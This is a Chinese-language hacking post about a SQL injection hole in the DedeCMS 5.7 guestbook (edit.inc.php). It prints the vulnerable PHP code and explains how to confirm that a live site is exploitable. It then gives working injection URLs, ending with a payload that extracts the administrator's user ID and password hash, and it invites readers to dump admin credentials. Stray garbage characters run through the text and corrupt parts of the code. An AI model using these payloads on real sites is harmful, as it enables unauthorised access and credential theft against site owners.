dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
, w- z6 k: g8 `5 v: O
( H/ h- W6 @. j漏洞文件edit.inc.php具体代码：
# m0 k2 R/ s* A5 t
7 x. _  Z) d$ b* t" ]< ?php  

if(!defined('DEDEINC')) exit('Request Error!');  
& W" Z5 ?5 a3 \$ M" [
6 n! B) P4 B3 t% W' Z  b   
3 x; _( O" A! v6 W
: z% n0 r& l7 M* t7 eif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

- u( W, c: E/ x* t! X" s; k3 O4 X9 _; Zelse $GUEST_BOOK_POS = "guestbook.php";  
2 }1 m4 x' [: s% E* R( R; R
   

$id = intval($id);  
5 |: [8 `8 Z5 y  O2 _
if(empty($job)) $job='view';  
8 ~/ v5 M+ w# M. n* X2 k) D' A& C. f
   

if($job=='del' && $g_isadmin)  

/ m! L) R) t( [{  
$ U1 `+ b" c! u7 s1 o  G
  n( u* K- W; E; V4 y$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

exit();  
9 \! ^4 k- r9 p8 [, E
}  

9 S' n( D5 N5 L" ~; Zelse if($job=='check' && $g_isadmin)  
" ^6 L0 x( N, P! @0 I# ?5 u
; P" P. f6 Z! k# U4 ^, W: {( a/ Y% `{  

& p% k6 @  l) {4 u' U' Z) N$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
; q' d5 j7 {8 X2 G1 }  n' L
( |; z, I3 L/ K2 ?! ]% ~ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  
- ~- y/ L! v# D$ v5 v4 A' {, _
exit();  

0 ?" K+ Z+ V  c$ w% ^+ I+ X1 X: S}  
: c* @3 W$ G  B% D6 ~% R
else if($job=='editok')  

5 J  E+ ^4 Q/ `9 c0 P( p: N{  
  ^  Y& m  b6 J7 @: c% ^. A7 C& O
$remsg = trim($remsg);  

5 U0 G' a3 D: K) X6 I) ?. `1 B" v# hif($remsg!='')  
" D( h2 w- g) m- C% S
{  
4 V$ C! u9 i* [  m, ~9 i3 r
) C% }$ {- Z& j, i. M/ P" Y% p//管理员回复不过滤HTML By:Errorera blog:errs.cc  
5 a+ e3 n) K" p- i; H& A
  ~3 H& m$ p, ~4 ^2 ^if($g_isadmin)  

. Z' T2 I" r6 o, L9 ], {' Q( M$ u) O{  
2 G, C* t; r# k% a+ c
6 z+ R/ o3 M- T$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
& N" [9 o. O: Q6 `5 o5 W1 t
//$remsg <br /><font color=red>管理员回复：</font> }  

else
7 G9 b& ?. ^3 ?  H
{  
/ L5 F1 j' {0 `- T9 L
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
! o4 O8 v3 O. i9 t
) p$ }: U5 q, j# r5 U, T$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

+ ^" f' g0 m4 v$msg = $oldmsg.$remsg;  
6 h; W; J- |( c& N/ d& n9 J- y  f
}  

}  
; e6 }( E0 ^" Y6 \5 m( g
; P" s0 o$ E3 G" J! T9 L/ q//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
3 Q: e# n; y) J6 `
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
: h7 |+ x. j1 q3 ~4 ^3 S3 F
& O8 p9 c/ f* }- [ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  
. A+ d0 X1 G7 O, n; F- ?
exit();  
+ _/ h, M3 m$ D) h+ j! F
}  
, U& l# D" F7 O* k7 m5 G' b* r4 R
//home:www.errs.cc  
- [, j  ]4 u! V* d
/ p' W: {9 M  Z5 t* L: x0 q  |0 Nif($g_isadmin)  

9 g: A( J  v* l8 U$ ^{  

4 _7 ^1 u4 }4 c/ @5 g1 {$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
/ x8 g" X" u; F( f3 w6 \9 {+ @3 E
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
/ Y: ]! n; Z0 k# Y  x& E% C3 d3 _
4 j  J' l  S, w9 u}  

else
9 u( q0 Q8 L. f
$ G  i2 p" u. B  Q) c* O: m( ^{  

$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
3 k6 S! Q3 y# B$ ^
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

0 V2 Q; z4 |7 z" M) V  X} 漏洞成功需要条件：
. V8 T; E: R- Y5 o. t6 `1. php magic_quotes_gpc=off
" P+ Y/ z& d4 `) ~! j$ x2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
6 Z! s% d* b: I1 A: v* C
: T7 Y! }2 y4 o5 @4 P; l  U怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
' d0 n0 z6 s+ C' e% w7 }访问：

www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证


: M2 a3 d$ g3 v% y; m/ P明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问

www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().

4 G2 ^( O/ m/ N  ?* F9 ?大概利用就是这样，大家有兴趣的多研究下！！

最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
' @9 o' T# }# G7 K" k
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='